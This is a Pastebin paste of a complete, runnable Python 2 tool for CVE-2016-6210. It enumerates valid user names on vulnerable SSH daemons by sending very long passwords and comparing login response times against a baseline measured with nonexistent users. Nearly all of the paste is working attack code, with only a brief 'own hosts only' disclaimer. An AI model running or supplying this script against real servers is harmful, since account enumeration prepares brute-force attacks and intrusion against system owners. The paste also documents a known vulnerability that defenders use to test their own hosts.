Advertisement
Guest User

Untitled

a guest
Dec 10th, 2017
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.18 KB | None | 0 0
  1. #!/usr/bin/python2
  2. #
  3. # CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari)
  4. #
  5. # Author: 0_o -- null_null
  6. # nu11.nu11 [at] yahoo.com
  7. # Oh, and it is n-u-one-one.n-u-one-one, no l's...
  8. # Wonder how the guys at packet storm could get this wrong :(
  9. #
  10. # Date: 2016-07-19
  11. #
  12. # Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210.
  13. #
  14. # Prerequisites: Network access to the SSH daemon.
  15. #
  16. # DISCLAIMER: Use against your own hosts only! Attacking stuff you are not
  17. # permitted to may put you in big trouble!
  18. #
  19. # And now - the fun part :-)
  20. #
  21.  
  22.  
  23. import paramiko
  24. import time
  25. import numpy
  26. import argparse
  27. import sys
  28.  
  29. args = None
  30.  
  31. class bcolors:
  32. HEADER = '\033[95m'
  33. OKBLUE = '\033[94m'
  34. OKGREEN = '\033[92m'
  35. WARNING = '\033[93m'
  36. FAIL = '\033[91m'
  37. ENDC = '\033[0m'
  38. BOLD = '\033[1m'
  39. UNDERLINE = '\033[4m'
  40.  
  41.  
  42. def get_args():
  43. parser = argparse.ArgumentParser()
  44. group = parser.add_mutually_exclusive_group()
  45. parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  46. group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  47. group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  48. parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  49. parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  50. parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  51. parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  52. parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  53. parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  54. args = parser.parse_args()
  55. return args
  56.  
  57.  
  58. def get_banner(host, port):
  59. ssh = paramiko.SSHClient()
  60. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  61. try:
  62. ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  63. except:
  64. banner = ssh.get_transport().remote_version
  65. ssh.close()
  66. return banner
  67.  
  68.  
  69. def connect(host, port, user):
  70. global args
  71. starttime = 0.0
  72. endtime = 0.0
  73. p = 'B' * int(args.bytes)
  74. ssh = paramiko.SSHClient()
  75. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  76. starttime=time.clock()
  77. try:
  78. ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
  79. except:
  80. endtime=time.clock()
  81. finally:
  82. ssh.close()
  83. return endtime - starttime
  84.  
  85.  
  86.  
  87. def main():
  88. global args
  89. args = get_args()
  90. if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  91. if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  92. if args.host:
  93. host = args.host.split(":")[0]
  94. try:
  95. port = int(args.host.split(":")[1])
  96. except IndexError:
  97. port = 22
  98. users = []
  99. if args.user:
  100. users.append(args.user)
  101. elif args.userlist:
  102. with open(args.userlist, "r") as f:
  103. users = f.readlines()
  104. else:
  105. if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
  106. sys.exit()
  107. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  108. # get baseline timing for non-existing users...
  109. baseline_samples = []
  110. baseline_mean = 0.0
  111. baseline_deviation = 0.0
  112. if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  113. for i in range(1, int(args.samples) + 1):
  114. if not args.silent: sys.stdout.write('.')
  115. if not args.silent: sys.stdout.flush()
  116. sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
  117. baseline_samples.append(sample)
  118. if not args.silent: sys.stdout.write('\n')
  119. # remove the biggest and smallest value
  120. baseline_samples.sort()
  121. baseline_samples.pop()
  122. baseline_samples.reverse()
  123. baseline_samples.pop()
  124. # do math
  125. baseline_mean = numpy.mean(numpy.array(baseline_samples))
  126. baseline_deviation = numpy.std(numpy.array(baseline_samples))
  127. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  128. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  129. upper = baseline_mean + float(args.factor) * baseline_deviation
  130. if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  131. if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  132. #
  133. # Get timing for the given user name...
  134. #
  135. for u in users:
  136. user = u.strip()
  137. enum_samples = []
  138. enum_mean = 0.0
  139. for t in range(0, int(args.trials)):
  140. timeval = connect(host, port, user)
  141. enum_samples.append(timeval)
  142. enum_mean = numpy.mean(numpy.array(enum_samples))
  143. if (enum_mean < upper):
  144. if not (args.enumerated or args.silent) :
  145. print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
  146. else:
  147. if not args.silent:
  148. print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
  149. else:
  150. print(user)
  151.  
  152.  
  153.  
  154.  
  155. if __name__ == "__main__":
  156. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement